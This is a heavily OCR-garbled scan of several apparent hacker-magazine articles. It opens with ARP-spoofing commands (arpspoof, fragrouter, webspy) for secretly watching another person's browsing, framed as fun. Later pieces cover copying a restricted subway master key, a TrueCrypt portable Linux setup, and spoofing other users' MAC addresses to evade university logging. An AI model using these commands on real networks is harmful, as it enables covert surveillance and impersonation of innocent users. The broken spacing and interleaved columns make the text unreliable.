# arpspoo f - i  eth 1 -t 

� 1 9 2 .1 68. 1 . 1  1 9 2 . 1 68. 1 . 1 0 4  

I n  t h e  s ec o n d  term i n a l ,  type :  
# arp sp o o f - i  eth1 - t  
� 1 9 2 . 1 6 8 . 1 . 1 0 4  1 9 2 . 1 6 8 . 1 . 1  

The n ,  I n ee d  to m ak e  s ure t h a t  I am 
forward i n g  tra ff i c  to t h e  proper l ocat io n s, 
s o  I u se fra grou ter. I n  a t h i rd  term i n a l ,  
typ e :  
# fragrou t e r  - i  e th 1  - B 1  

N o w  l et ' s  see w h at t h i s  does .  T h e  
f irst a rp sp o o f c omm a n d  s e n d s  forged 
arp  i n format io n  over the i nterfac e  (- i) 

e t h 1  to the target ( - t ) 192 .168.1.1 
that  my c om p uter i s  192 .168 .1 .104, 
w h i l e  the secon d  term i n a l  te l l s the target 
192 .168 .1 .104 t h a t  my c om p u ter i s  
192 .168.1 .1 .  M ea n w h i l e ,  fra grou ter s e n d s  
t h e  bro a d cast  a d dress ( - B 1 )  a l l  tra ff i c  t h a t  
h a s  come i n ,  s o  t h ere i s  n o  i nterr u p t i o n  of 
serv i c e. 

N ow, i t ' s  t ime for t h e  l a st few ste p s .  I 
n ee d  to r u n  w eb spy  a n d  o p e n  a brow s er. 
The n ,  I c a n  h av e  t h e  fu n of  s ee i n g  w hatever 
someon e  e l se sees .  So ,  I w o u l d  o p e n  u p  
two more term i na l s .  I n  t h e  fourth term i n a l ,  
typ e :  
# webspy - i  e th 1  1 9 2 . 1 6 8 . 1 . 1 0 4  

A n d ,  f i n a l l y, i n  t h e  f i ft h  term i n a l ,  type :  
# fire fox & 

N ow, F irefox o p e n s  u p, a n d  I get to see 
the webs i tes that my new fr iend opens up 
in rea l t i me.  I ' ve o n l y  seen one p rob lem:  
i f a n  ad pops u p  on a separate page from 
the rest of a webs i te, i t ' l l  be shown sepa­
rate l y  from the rest of the or ig i n a l  s i te .  So, 
i f my fr iend goes to MySpace, then I see 

MySpace, but it q u i c k l y  flashes over to 
show j ust the a d  without the rest of the 
s i te.  I h av e  my browser set to open these 
ads in d ifferent tabs, so I can see the page 
and the ad.  

You never know what k i n d  
of s i tes others m a y  v i s i t, s o  you 
shou l d  do t h i s  wi th  d i scretion­
espec i a l l y  if the kids a re ru n n i ng around 
the house and the mater ia l  com i n g  u p  i s  
q u est ionab le .  
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by scOut64 
scOut64@yahoo.ca 

I fi n d  that one of my longest-ru n n i ng 
fasc i nat ions, computer hack i ng, has  a l ot 
to do with my greatest pass ion a n d  hobby, 
graffit i  a rt .  These a re two very controvers i a l  
s u bj ects, a n d  d i scuss ing  t h e m  can usua l ly 
generate a great response, depe n d i n g  on who 
you ask .  Th i s  i s  not a how-to a rt i c l e  by any 
means, but  rather a way to shed some l i ght 
o n  the s i m i l a r i t ies between two of my favor i te 
pasti mes.  B ut I ' l l  st i l l  i n c l ude the standard 
d i sc l a i mer  that gett i ng  caught part i c i pat i n g  
i n  e i ther  o f  these act iv i t ies m ight get you i n  
troub le .  

The  fi rst t h i n g  I can  fi nd  these two s u bjects 
have in common i s  the react ion  that you get 
when you te l l  someone that you do one or  the 
other. I f  you te l l  someone you ' re a computer 
hacker, you can usua l l y  expect confused or 
wary l ooks.  Peop le  assume that you ' ve done 
shady th i ngs before, a n d  they approach 
conversat ion choos i n g  the i r words ca refu l l y, 
assu m i ng that you m ight take some of the 
i nformat ion a n d  use i t  aga i n st them.  They 
m ight not be aware that the hack ing  you do 
m ight be com p l ete l y  l ega l .  You m ight be a 
pen tester for a secur i ty f i rm,  or you j ust m ight 
l i ke ru n n i ng wargames o n  you r  network with  
you r  friends .  I t  depends  on you r  defi n it ion  of  
a hacker. 

S i m i l a r l y, when you te l l  someon e  
t h a t  you ' re a graffit i  a rt i st, s o m e  peop l e  
automatica l l y  assume that you ' re a vanda l .  
They th i n k  you ' re one o f  those stereotyp ica l  
guys  who tags u p  conve n i ence stores a t  
n i ght, or that  you ' re one of  the peop l e  who 
vanda l i zed a l l  those New York C i ty tra i n s  
years ago. They m ight th i n k  that you r  bedroom 
is a mess and that a l l  you r  school books a re 
scr i b b l ed o n .  They m ay not rea l i ze  that there 
are p l enty of l ega l a reas to tag up a n d  that 
what you do fa l l s  comp lete l y  wi th i n  the law, 
or that you m ight be a gra p h i c  des ign student 
whose sty l e  i s  comp l ete l y  d ig i ta l .  I t  depends 
o n  you r  defi n it ion  of graffit i .  

A nother s i m i l a rity between these two 

York C i ty. Yes, it caused a l l  k i nds of chaos, 
and many peop le  were pena l i zed once the 
c i ty i m p l emented graffit i  l aws.  L i ke m a ny 
great th i ngs, becau se it was new a n d  brought 
change, peop le  d i d n ' t  l i ke i t .  L i kewi se, 
when hack i n g  sta rted beco m i n g  extreme ly  
popu l a r, there were no l aws or  govern i n g  
bod ies t o  regu l ate what went o n .  With these 
two cu l tures and many others, once the 
government  fe l t  th i ngs got a l i tt l e  too out of 
contro l ,  they stepped in and "superv i sed." 
There a re a n u mber of other s i m i l ar i t ies  
between the two fie lds :  

• Some ways of  part i c i pat i ng i n  these 
act iv i t ies  a re i l l ega l and ca rry pena l t i es 
of var ious  k i nds .  

• You need perm iss ion  for part i c i pat ion  to 
be l ega l .  You c a n ' t  j u st Own you r  fr iend ' s  
bOx a n y  more than you c a n  tag u p  h i s  
room; you need t o  have a n  OK from h i m  
fi rst. 

• There a re contests. These a re great 
for i ntel l ectua l  sti m u l at ion ,  learn i ng, 
meet i ng  new peop l e, and c h a l l eng ing  
you rse l f. 

• There a re a l ot of graffit i -based themes i n  
computer hack i n g  a n d  i n  v i deo games.  
C l a n  tags and  s igs have gotten very, very 
coo l .  

• Depe n d i n g  on who you ask,  both can  be 
cons idered e i ther va nda l i s m  and c r ime 
or a rt a n d  express ion .  

• An i n terest i n  e i ther fie l d  can  l ead to a 
great career. 

• Somet i m es, both pract ices i nvo l ve go i n g  
p l aces you ' re not supposed t o  go. 

• Somet imes, you h ave to come back to the 
same p l aces to fi n i s h  what you sta rted.  

There are more s i m i l a r i t ies,  but you get the 
idea . G raff it i  and hack i n g  have evol ved i nto 
d i st i nct c u l tures; j ust l i ke every cu l ture, you 
h ave good peop l e  and bad peop le .  Peop le  
come a n d  go ,  but the c u l ture su rvives. Lega l 
or n ot, these activ i t ies  w i l l  st i l l  go o n .  The 
questio n  st i l l  rem a i ns :  how w i l l  you represent 
you r  c u l tu re?  

a reas i s  l ega l ity. G raffit i  wr i t i n g  rea l l y  came Shouts: Adict, Kiwi, 
i nto popu l a r i ty i n  the 70s a n d  80s i n  New www. worldwideblackbookproject.com 
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Hacker Perspective 
Barry Wels 

T h e  story be low i s  my youth confes- m u c h  deeper u nt i l reac h i ng the s h e l ­
s i o n .  I n  a way I a m  a l i tt l e  re l u cta n t  t o  te l l  ters . I m u st say i t  was q u i te a t h r i l l  go i n g  
i t, b u t  s i nce i t  i s  a story over 2 0  years o l d . . .  deeper u n dergro u n d  t h a n  most peo p l e  
I j u st hope y o u  wi l l  s e e  i t  i n  i t s  r ightfu l  k n ew was poss i b l e  - not t o  ment ion  the 
perspect ive. spooky atmosphere in the s h e l ter. Deep 

N o rm a l l y  when peop l e  ask where my b e l ow the  s u bway stati o n  were h u n d reds 
i n terest in l ocks and lockp i c k i ng comes of packaged b u n k  beds and many wei rd 
from, my a n swer is that  I became fasc i - m ac h i nes a n d  other i n te resti ng  th i ngs .  
n ated watc h i ng James Bond m ov i es as  a N eed l ess to say th i s  master key h a d  a 
k i d ,  wonder i n g  if l ocks rea l l y  cou l d  be magi c a l  attract i o n  to m e .  I j u st had to 
opened that  s i m p l y. N ow that  in  i tsel f i s  get  a copy of i t !  A n d  even though my 
a t rue statement .  B u t  the o n e  th i ng that fr i e n d  to l d  m e  he had a l ready t r ied to get 
rea l l y  ser i o u s l y  motivated me, a n d  made i t  cop ied a n d  had con c l u ded that  i t  was 
me put a l ot of c reative e n e rgy i nto locks tru l y  i m poss i b l e, I k n ew I cou l d  do i t .  
a n d  c i rc u m ve n t i n g  some sec u r i ty featu res, I q u i c k l y  learned that  even though 
was someth i n g  e l se . . . .  the key l ooked l i ke a stan d a rd key, i t  had 

As l o n g  as I can remember, I was  severa l copy p rotect i o n  featu res . And 
i nte rested in  l ocks a n d  ways of open i ng i n stead of the standard five p i ns,  th i s  o n e  
t h e m .  A n d  as  a k id ,  I w a s  eager t o  learn had seve n .  The key profi l e  was h ig h l y  
a l l  the "tr icks from the street" t o  open restr i cted, m ea n i ng o n l y  the factory had 
b i cyc l e  l ocks, often u s i n g  s i m p l e  too l s  b l a n k  keys fo r  i t .  Bes i des the  b l a n ks n ot 
l i ke fi led down sc i ssors or other flat  a n d  bei ng ava i l ab l e, the k e y  a l so had two 
th i n  p i eces of meta l .  St i l l ,  I can  h o n est ly "wi ngs" o r  " r i bs" that operated p i n s  on 
say I n ever sto l e  a b i ke in m y  l i fe .  But I the l eft a n d  r ight  s i d e  of the l oc k .  For its 
j u st had to k n ow and test the t r icks on t i me, t h i s  was one of the best h igh secu ­
h o w  t o  o p e n  these locks .  T h e  rea l c h a l - r i ty l ocks o n  the m a r ket a n d  i ts keys were 
lenge came at a ro u n d  age 1 7 . A fr i e n d  of k n own to offe r  the h ighest degree of copy 
m i n e, who was a graffi t i  a rt i st, h a d  access p rotect i o n .  
to a very spec i a l  key: a master k e y  t o  the B u t  determ i ned a n d  c h a l l enged as I 
A m sterd a m  s u bway. was to somehow get a copy, I dec i d ed 

Th i s  h igh l y  restri cted key wou l d  open to comp i l e  a l i st of locks m i ths  from the 
any door in the  ent i re A m sterdam s ubway Ye l l ow Pages a n d  pay them a l l  a v i s i t  to 
syste m .  Th i s  i n c l uded the n uc l ea r  she l - see  if they cou l d  copy the key. After a l l ,  
ters that  a re deep u nderneath some o f  the l ocksmi ths  a re the peo p l e  with  k nowledge 
stat i o n s .  In part ic u l a r, the entrance to the o n  copy i ng keys, a n d  i t  m u st be possi b l e  
n u c l ea r  s h e l te rs was rather  spectacu l a r. t o  fi n d  o n e  that cou l d  do i t ?  U nfortu-

The best way to get i nto the  s h e l - nate l y, m o s t  v i s its d i d  not l ast long .  I n  
ters was t o  take the e levator that  wou l d  gen e ra l ,  t h e  l ocksm iths  a l l  l oo ked a t  m e  
norma l l y  b r i n g  you from street l evel  to rea l fu n ny when s h ow i n g  them the key. 
the  s u bway p l atfo r m .  The o n l y  d ifference Some of them took the  effo rt to exp l a i n  
i s  that i n stead of p u s h i ng t h e  e levator that  they s i m p l y  d i d  n ot h ave a b l a n k  
bu tto n s  you wou l d  i n sert t h e  key i n  the key fo r  i t, wh i l e  othe rs j u st sa id " no" and 
key h o l e  j u st b e l ow the b u tton s  and t u r n  po i n ted m e  to the  door. I n stead of g i v i n g  
i t .  N ow the  e levator wou l d  n ot stop a t  u p, I l earned a l i tt l e  from e a c h  v i s i t  a n d  
the p l atfo r m  l evel  bu t  i n stead wou l d  go was ab l e  to ask m o re to-the-po i nt qu es-
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t ions at my next v i s i t .  degrees, the lock stopped and the key got 
F i n a l l y, after at l east 2 0  vis i ts, I fou n d  stuc k !  N o  matter how I tr ied, I cou l d  not 

a locksm ith that d i d  not send me off turn the key left or r i ght, nor get it out of 
stra ight away. Th is  l ocksmith was very the lock.  I pan i cked and came c l ose to the 
c u r ious about what the key was for and I po i n t  of brea k i ng off the head of the key 
dec i ded to be open with h i m .  So I started and j u st go i ng home. But  after I ca l med 
exp l a i n i ng that I had no cr i m i na l  i ntent down a l i tt le  and started to a n a l yze the 
with th i s  key. I f  I had, I wou l d  h ave used prob lem, I came to the con c l us ion  that 
i t  r ight away and not bothered to copy it.  the m i s s i n g  s i de wi ng(s) was probab l y  the 
And I to l d  h i m  i t  was the top master key reason for the lock j a m m i ng.  So I started 
for the Amsterdam subway. I exp l a i ned l ook ing  a rou n d  for someth i n g  th i n  to poke 
to h i m  that by now I had become sort of the s i de channe l  of the lock.  I ended u p  
obsessed to copy th i s  " u n copyab le  key" with a bent paper c l i p  (or was i t  a n eed le? )  
and that  I was determ i ned and wou l d  that, t o  m y  great rel ief, a l l owed the l ock 
succeed one way or another. After a l l ,  to turn back to t h e  or ig i n a l  pos it ion where 
tech n i ca l l y  it is j ust an odd-shaped p i ece I was then able to take the key out aga i n .  
of meta l .  Phewwwww. 

After th i n k i n g  it over, he sa id he cou l d  Back home I tr ied to th i n k  of a way 
h e l p  me a l i tt le  b i t .  He stud i ed the key for to somehow c reate wi ngs on the key. I 
q u i te some t ime and started compari ng it  tr ied to solder them on u s i n g  a so lder ing 
with some b l a n ks from h is  racks. In  a few i ro n .  One of the fi rst prob lems was that if  
m i n utes h e  came u p  with a b l a n k  key that I soldered a wing on one s i de, it  wou l d  
more or  l ess h ad the same profi le  a s  the come l oose when try i n g  to sol der one 
master key, except i t  did not have wi ngs. to the other side. The second prob lem 
And he made i t  very c l ear  that he wou l d  was that t h e  l ead was not strong enough 
not help me with the wi ngs; I was on my to keep support the th i n  sma l l  wi ngs 
own for that part. The b l a n k  he fou n d  was even when I managed to so l der them on 
a l i tt le fatter than the or ig i n a l ,  mea n i ng it  correctl y. The key s i m p l y  was too frag i l e  
h a d  more mater i a l  on i t  t h a n  t h e  master and not usab l e  t h i s  way. So I had to th i n k  
key a n d  wou l d  not yet fit the lock.  The of someth i n g  e lse. 
l ocksmith advi sed me to get a fi ne fi le  I had some good contacts with a n  opt ic 
and try to fi l e  o r  gri n d  away some of the shop, and one of the opti c ians  showed 
meta l i n  strategi c  p l aces u nti l it was s l i m  m e  how they repai red broken meta l 
enough to fit the target lock.  He made frames. They u sed a tech n i que ca l led hard 
me th ree keys and was k i n d  enough to solderi ng.  With hard sol deri ng you use a 
a l ready copy the normal  seven cuts of the gas f lame to heat the object and solder 
master key on them . I was now getti ng the parts together us i ng th i n  s i l ver or go l d  
somewhere ! sti cks. When done proper ly, you do not 

At home I stu d i ed both the or ig i n a l  and even notice the frame has been repa i red . 
the "fat" copy for a long ti me and deter- I rea l ized I had to l earn and master th i s  
m i ned three pos it ions where I wou l d  h ave hard solder i ng tec h n i q ue, and I asked if  
to remove mater ia l  from the copy. After they cou l d  teach me. It took me some 
spen d i n g  30 m i n utes with my fi l e, I ended ti me, but fi n a l l y  I managed to master the 
up with a re l ative ly  th i n  key that I f igu red hard solderi ng tec h n i q ue. And I was fi n a l l y  
wou l d  fit t h e  su bway l ocks. ready to sol der wi ngs on my key . . . .  

The next day I went to the su bway to Sti l l ,  I had the same prob lem a s  with 
give i t  a try, and somewhere in a dark lead sol der. I f  one r i b  was f ixed, it  came 
corner I i nserted the key i nto one of the l oose when I tr ied to solder the other s ide.  
many mai ntenance locks.  These l ocks The so l ut ion was to use two d i fferent 
norma l l y  j u st cover power out lets used k i nds of solder i ng materia l .  One type 
by c l eaners or  workers and someti mes a re wou l d  melt  at a h i gh temperatu re, the 
not used m u ch at a l l .  To my su rpr ise the other at a l ow(er) temperatu re. My fi rst 
key entered smooth l y  and . . .  turned ! exper iments were so l deri ng one r i b  u s i n g  

However, th i s  euphor ic  moment d i d  s i l ver through t h e  hard solder method 
not l ast long.  As I turned the key 9 0  (h igh melt i ng poi nt) wh i l e  for t h e  other 
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r i b  I used a solderi ng i ro n  and l ead­
based solder ( l ow melt i ng  poi nt) . Later I 
mastered the hard solder tech n i q ue even 
better so I cou l d  solder one s ide of the key 
with s i l ver solder ( h igh melt i ng poi nt) and 
the other s ide u s i n g  go l d  sol der that  had a 
s l ight ly l ower melt i ng  po i nt. 

And now, two years after seei ng the 
su bway key for the fi rst t i me, I was ready 
for the fi n a l  test. I went back to the same 
dark corner of the su bway system and 
tried my key. And i t  worked l i ke a charm.  
I cou l d  not have been happier. 

Truth is I never used it m u c h .  For me 
the cha l lenge was to copy the key. But  
some of  my fr iends had great fu n wi th  it .  
In the ear ly  90s we were known as the 
u n offi c i a l  tou r  g u i des of the Amsterdam 
u n dergrou nd, proud l y  show i n g  a l l  our 
( i nternat ion a l )  fr iends the Amsterdam 
n u c lear shelters .  

B ut t h e  story conti n ues . . . .  
After some explor i ng, m y  fr iends to l d  

me they fou n d  a few doors deep i n s i de 
the system that th i s  master key cou l d  not 
ope n .  It cou l d  enter the l ock, but not tu rn .  
Th i s  was a new cha l lenge.  

keys. I j ust added them to my key r ing.  
The next t ime I was present at one 

of the u n dergro u n d  tou rs, we ended up 
at the doors we cou l d  not ope n .  O n l y  
then I remembered t h e  exper i menta l 
keys I made, and gave them a try. And 
guess what?  One of them worked ! Now 
tha t  was a tru ly  euphor ic  moment!  And I 
i m mediate ly  rea l ized I had better not try 
to fu l ly rotate the key as it  d i d  not have 
wi ngs yet. So after turn i ng it ten degrees, 
I went back to the or ig i n a l  pos it ion and 
removed it  from the lock .  

I sol dered on wi ngs the same day and 
fou nd that  the key worked rea l ly wel l .  
(As to b e  expected beh i n d  the door there 
were j ust some more maze tu n ne ls  and 
some h igh vo ltage equ i pment you do not 
want  kids p l ay i n g  aro u n d  i n . ) We cal led it  
the "su per master key" as we never fou n d  
a l o c k  it  cou l d  not open i n  t h e  enti re 
Amsterdam su bway system.  And it took 
some t ime to rea l i ze what I had ach ieved . 
I made a copy of an u n copyable  super 
master key, of wh ich I had never seen 
the or ig i n a l  key. I was root at the subway 
system, and it earned me my n ickname 
"The Key." 

N ow there is a reason for th i s  confes­
s ion . F i rst of a l l ,  I j ust tu rned 40, and 
figu red an over-2 0-year-o l d  story cou l d  be 
to l d  by now. The secon d  reason i s  to show 
you that no matter how soph i sticated 
a mecha n i ca l  l ock is, it can a l ways be 
bypassed by a determ i ned attacker. And 
the fi n a l  reason is  that  i t's a n i ce i ntrod uc­
t ion to my presentation at The Last HOPE 
conference. The t i t le of  the presentation 
wi l l  be "Methods of  Copy i ng H igh Secu­
r i ty Keys." And it  wi l l  cover many more 
modern tec h n i q ues than t h i s  2 0-year-old 
story. 

I hope to see you there, and u rge you 
to br ing  you r  u ncopyab le  mechan ica l  
keys for us  to eva l u ate . 

Barry Wels is president and founder 
of Toool, The Open Organ isation Of 
Lockpickers. Toool 's expertise, integ­
rity, and publica tions are well received 
in the lock industry, and Toool is often 
requested to do tests for lock manufac­
turers and organizations such as Dutch 
Consumer Reports. He runs a weblog a t  
http://www. toool. nllblackbag. 

At about the same t ime we met a group 
of  a rti sts who were offi c ia l l y  a l l owed to 
give an art performance i ns i de the su bway 
system.  They had been given a very l ow 
pr ior ity key that cou ld  o n l y  open two 
doors i n  the enti re subway system.  And 
even though we cou l d  a l ready open these 
doors with o u r  own master key, I was 
sti l l  eager to exa m i ne th is  low pr ior ity 
key. Compa r i n g  the two keys I fou n d  
they were a l most identica l .  On j u st two 
out of seven pos it ions the keys d i ffered . I 
d i d  not expect much of i t, but  dec i ded to 
com b i n e  both keys and cut  the rema i n i ng 
two com b i n at ions .  To c l a r ify th i s :  if you 
have two d ifferent va l ues in a key system, 
you can make fou r  keys.  Let's say the 
master key had a cut depth 2 and 3 on the 
pos i t ions that d i ffered . And let's say the 
low pr ior ity keY .had a cut 4 and 5. The 
rema i n i ng two combi nat ions wou ld  be a 
key cut  to 2 and 5 ,  and one cut  to 4 and 
3 .  To t h i s  day I sti l l  don't know why I cut 
these extra keys . I guess I was j ust cu r ious .  
And I d id not have h igh hopes i t  wou l d  
open a nyth i ng more t h e n  t h e  l ocks we 
cou l d  a l ready open . So I never bothered 
to solder wi ngs on these two experi menta l  
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R PCRTRllE 
L Ifl)X 

by Aaron 

U s i n g  TrueCrypt a l o n g  with DamnSma l l ­
L i n u x  (DSL),  i t  i s  poss i b l e  to c reate a porta b l e  
encrypted G N U/L i n u x  work env i ro n ment 
which you can  take wi th  you from PC to Pc.  
As I have l ost a n u m ber  of USB dr ives, I fi n d  
that h av i n g  t h e  data o n  t h e m  be encrypted b y  
defa u l t  prov i des s o m e  p i ece o f  m i nd .  

The bas ic  concept here i s  t o  u s e  TrueCrypt 
to encrypt the major i ty of a USB d r ive.  I ns ide  
the encrypted vo l u me w i l l  be DSL a l o n g  w i th  
QEMU,  wh ich  a l l ows the L i nux  i nsta l l a t ion  to 
be run  on a M i c rosoft Wi ndows mach i ne .  

Steps 
1 .  I nstal l  TrueCrypt on your Pc. You can  

run  TrueCrypt w ithout i nsta l l i n g  i t ;  th i s  i s  
c a l l ed "trave ler  mode." For the pu rposes of t h i s  
exa m p l e, though,  i t  i s  assu med t h a t  TrueCrypt 
is i nsta l l ed l oca l l y  o n  you r  Pc. Dow n l oad 
TrueCrypt from h t tp : / / www . t r u e r r yp t . c om; 

then,  extract a n d  run  the ,: e tup . exe progra m .  
2.  Make a TrueCrypt volume o n  the US B 

drive. I nsert the U S B  dr ive a n d  wa i t  for the 
system to recog n i ze i t .  For th is  step, we a re 
go i n g  to c reate a n  encrypted vo l u me .  I n  
TrueCrypt, se lect "Vo l u mes--+Create N ew 
Vo l u me", wh ich  w i l l  fi re u p  the Vo l u me 
Creat ion w i zard .  Se lect "Create a standard 
TrueCrypt vo l u me," a n d  h i t  n ext. Se lect " F i le"  
a n d  create a fi l e  o n  the USB dr ive .  Take the 
defa u l ts for E n c rypt ion A l gor i thm a n d  Hash 
A l gor i thm,  a n d  h it next.  In  the next d i a l og 
box, set the s i ze of the vo l u me; typ i ca l l y  you 
can choose an amount  equa l to s i ze of the 
d r ive, subtracti ng 20 megabytes for the True­
C rypt trave ler  vo l u me.  It w i l l  then ask you 
for a vo l u m e  password; be s u re to remember 
th is  or you w i l l  n ever be able to access t h i s  
vo l u me aga i n .  E nter the password, a n d  h i t  
next.  I t  w i l l  t h e n  beg i n  t o  format t h e  vo l u me .  
After th i s, you  w i l l  h ave a n  encrypted vo l u me 
o n  you r  USB dev i ce .  

3.  I nstal l  TrueCrypt Traveler mode on the 
USB device. The next step is to i nsta l l  True­
C rypt Trave le r  mode on the dr ive .  To do t h i s, 
go to "Too I s--+ Trave l e r  D i s k  Setup" i n  the Tru e-

C rypt program .  Th i s  w i l l  take you to a setup 
scree n .  Se lect the d r ive l etter for the U S B  
d r ive.  Se lect "Auto-mount  Tru eCrypt vo l u me 
(speci f ied be low)" from the Auto R u n  conf igu­
rat ion  sect ion .  Then ,  se lect the encrypted 
vo l u me in the "TrueCrypt vo l u m e  to mou nt" 
sect ion .  Then ,  hit "Create." 

4. Test the TrueCrypt volume. Safe l y  
remove the dr ive a n d  re i nsert i t .  You shou l d  
get t h e  TrueCrypt prompt a s k i n g  for the 
vo l u m e ' s  password.  After that, the dr ive 
shou l d  be mounted as the next ava i l ab l e  
d r ive l etter. I f  th i s  works, w e  shou l d  be ready 
for the next step .  

5 .  I nstal l  OS l on the encrypted 
volume. Dow n l oad d s l -embedded 
from the DamnSma l l L i n u x  website, 
h t L P : / / Vi W �,! . d cJ m n �,� In a j j 1 j II 11 X • 0 1  q .  
U nz i p  the contents to the encrypted vo l u me.  

6. Create a hard drive I mage for OSlo  
Fo l l ow the d i rect ions  in the readme fi l e  
i n c l uded with d s l -embedded to  "Create a 
QEMU V i rtu a l  H a rd D i s k  a n d  use the ds l -vhd .  
bat  fi l e ." Fortu nate l y, th i s  on ly  has  to  be done 
once per U S B  d r ive.  

7.  Test the OSl configu ration. Safe l y  
remove t h e  dr ive a n d  re i n sert i t .  You shou l d  
get t h e  TrueCrypt prompt a s k i n g  for you r  
password . After you enter that, a n  exp lorer 
w i ndow shou l d  pop up. Se lect d s l -v h d .bat, 
and you shou l d  be off and ru n n i ng .  

Caveats 
TrueCrypt ru n n i ng i n  Trave ler  mode w i l l  

l eave beh i nd evidence o n  the P C  that i t  
has  been ru n a n d  that a vo l u me has  been 
mou nted . 

TrueCrypt ru n n i ng i n  Trave le r  mode 
requ i res ad m i n i strator  pr iv i l eges to be a b l e  to 
mount d r ives.  Th i s  is a l i m i tat ion  in the way 
M i c rosoft Wi ndows h a n d l es devices .  If you 
i n sta l l  TrueCrypt on the system, then you can  
set i t  u p  so i t  does n ' t  need  adm i n i strator r ights 
to ru n .  

C l e a n l y  s h utti ng  down t h e  D S L  env i ron­
ment i s  a good idea .  Not s h utti n g  i t  down 
correct l y  can l ead to fi l e  corrupt ion  prob lems  
i n  the add i t iona l  save space. 
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I f you want to save a nyth i ng, you have 
to save it to the / mn t l hdb di rectory. You wi l l  
need to b e  root to be ab le  to save data here. 
To change t h i s, open a root she l l by choos i ng 
"XShe l l s----> Root Access----> Dark" and typ i ng 
c hmod 0 7 7 7  / mn t / hdb i nto the wi ndow that 
pops u p .  After that, you wi l l  be able to save 
docu ments to the / mn t / hdb fi l esystem and 
h ave them preserved between boots. 

Options 
Note that the method presented here 

i s  mere ly  one way to b u i l d  a portab le  
encrypted envi ronment. 

FreeOTFE can be used in p l ace of True­
Crypt. One of the advantages of FreeOTFE 
over TrueCrypt i s  that L inux  can use  
elm-cryp t to  read FreeOTFE vo l u m es, 
i nstead of i nsta l l i ng TrueCrypt on a L i n u x  
box. 

Another d i str ibut ion of L i n ux can be 
subst i tuted for DSL. For exam p l e, n U b u ntu 
can be used to create a porta b l e  secur i ty 
too l k it, or Knopp ix  can prov i de a more fu l ly 
featu red L i n u x  d i str ibution .  Us i ng B a rt ' s  PE,  

by Plasticman 

i t  i s  even poss i b l e  to c reate a vers ion of 
th i s  project which runs Microsoft Windows 
i nstead of L i n ux .  

You can u s e  a n  SD card, a memory 
stick, or a porta b l e  h a rd dr ive i n stead of a 
U S B  dr ive to ho ld the env i ronment.  Many 
systems now come with SD card readers, 
and some cu rrent ly don ' t  d i sab le  them.  A 
fi rst-generation Apple i Pod shuffle makes 
a wonderfu l way to carry the env i ronment 
a round with you .  

TrueCrypt h a s  many add i t iona l  options, 
such as  h i dden vo l u mes and stronger 
encrypt ion a l gor i thms.  Visit the TrueCrypt 
webs i te for more i nformat ion . 

DSL has opt ion a l  packages, such as tor, 
wh ich can be used to create a more secu re 
brows i ng env i ron ment. 

Links 
DamnSma l l L i n u x  (DSL) :  

h t tp : / / www . damnsma l l l i nux . or g  

TrueCrypt: h t tp : / / www . t ru e c ryp t . org 

Q EM U :  h t tp : / / www . qemu . o r g  

our  pr ivacy, we must b u i l d  a l i st of MAC 
addresses that a re a l ready regi stered on 

As a col lege student, a h acker, and the network u nder d ifferent users. The too l 
an a l l  a round sem i-parano id  person, I I used for t h i s  was n map, wh ich is a free 
recently beca me obsessed with protect i ng open-sou rce port sca n ner ava i l ab l e  for both 
my persona l  pr ivacy and secur i ty. At my U n i x  and Windows systems.  I won ' t  go i nto 
u n i versi ty, whenever a user con nects a new the deta i l s  on how to use nmap; i n stead, 
computer to the network, they must l og i n  you can l ook a t  www . mniJp - tu t o r i a l . c om. 
with thei r U n i q u e  I D. After t h i s  log i n  proce- which is a great resou rce about proper use 
du re, the MAC address of the user ' s  network of th i s  too l .  
dev ice i s  regi stered with t h e  network u nder After I b u i l t  m y  l i st of MAC add resses, I 
the i r  name.  Now, as a sysop, I fu l l y u nder- wrote a bash scri pt wh ich  wi l l  shut  down 
sta nd the necess i ty and benefits of th i s  sort my network dev ice, p i ck a new MAC 
of regi strat ion proced u re.  However, as I add ress at ra ndom out of that l i st, ass ign i t  
a l so enjoy my pr ivacy, I wou ld prefer that to my network dev ice, and start i t  back up.  
nobody has  the a b i l ity to see what I am The scri pt a l so has the ab i l i ty m a n u a l l y to 
doing on any network. ass ign a MAC address, and to restore my 

The key to bei ng a b l e  to get a round th i s  or ig i n a l  MAC add ress as  wel l .  T h e  pu rpose 
type of l ogg ing  is not ic ing  how the network of th i s  scri pt was for me to concea l my own 
devices a re assoc i ated with users: the MAC network . uses; as with a l l  th i ngs, though, 
address. Changi ng you r  MAC address i s  a there a re both good and ev i l  uses. I do not 
s i m p l e  task on a ny system,  but the prob lem condone the use of th is  scri pt i n  i l l ega l act iv­
i s  that  you h ave to re- regi ster you rself i t ies, as i t  cou ld potent i a l l y  get a n  i n nocent 
whenever you cha nge it, putt ing  you back person in a l ot of troub le .  The scri pt i s  ava i l ­
a t  square one.  So, i n  order t o  m a i nta i n  a b l e  from the 2600 code repos i tory. 
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by LOjl k 
IOjl  k@IOP k.net 

the eva l uation vers ion 
of D i a mondCS Port 
Explorer. Th i s  shows you wh ich processes a re 

I ' m going  to show you how to set up a t ied to wh ich ports and which ports are send ing  
honeypot to  captu re ma lware, but  fi rst a few and rece iv ing data . Fourth, Process Exp lorer by 
ground ru les .  Th i s  art i c le  is not to be i n ter- Sys in terna l s/Microsoft. Th i s  is l i ke task manager 
preted as a how-to about creat ing or h i jack ing on stero ids .  F i fth, U ltraVNC server or another 
botnets . Th i s  art ic l e  i s  a l so not to be i nterpreted VNC server that you are fam i l i ar  wi th .  Th i s  
as anyth ing  b u t  a b i t  o f  i nformation .  A s  such, I i s n ' t  necessary but wi l l  speed up the i nfection 
can ' t  be he ld  l iab le  for how you use the i nfor- of your  honeypot by botware. And, fi n a l l y, a 
mation .  If you don ' t  know about botnets, do a b l ank  notepad wi ndow on another mach i ne, or 
s i m p l e  search on Wi k iped ia .  That shou l d  get go o ldschool and use a pen and paper. 
you started. I have changed the names of I RC It shou l d  be noted that wh i l e  you r  mach i ne 
channe ls, n icks, and forums, as wel l  as the I P  wi l l  b e  i n fected regard l ess, i t  wou l d  be wise to 
addresses for I RC servers, as they a ren ' t  needed make your  honeypot looked " l ived- i n ." Most 
to show the methodology. P lease keep in m i nd scri pt k idd ies  wi l l  i nfect any mach i ne they can, 
that peop l e  make m i stakes; I a m  not perfect. but the more savvy bot herders wi l l  avo id  a 
A l so, there are five hundred m i l l i on ways or mach i n e  that looks l i ke an obvious honeypot. 
more to do the th i ngs descri bed in th i s  a rt ic le; You r  defau l t  Windows 2 000 Advanced Server 
th i s  is j ust one of them. D DoSing my s i te won ' t  i n sta l l at ion w i t h  t h e  s ick ly  b lue  desktop won ' t  
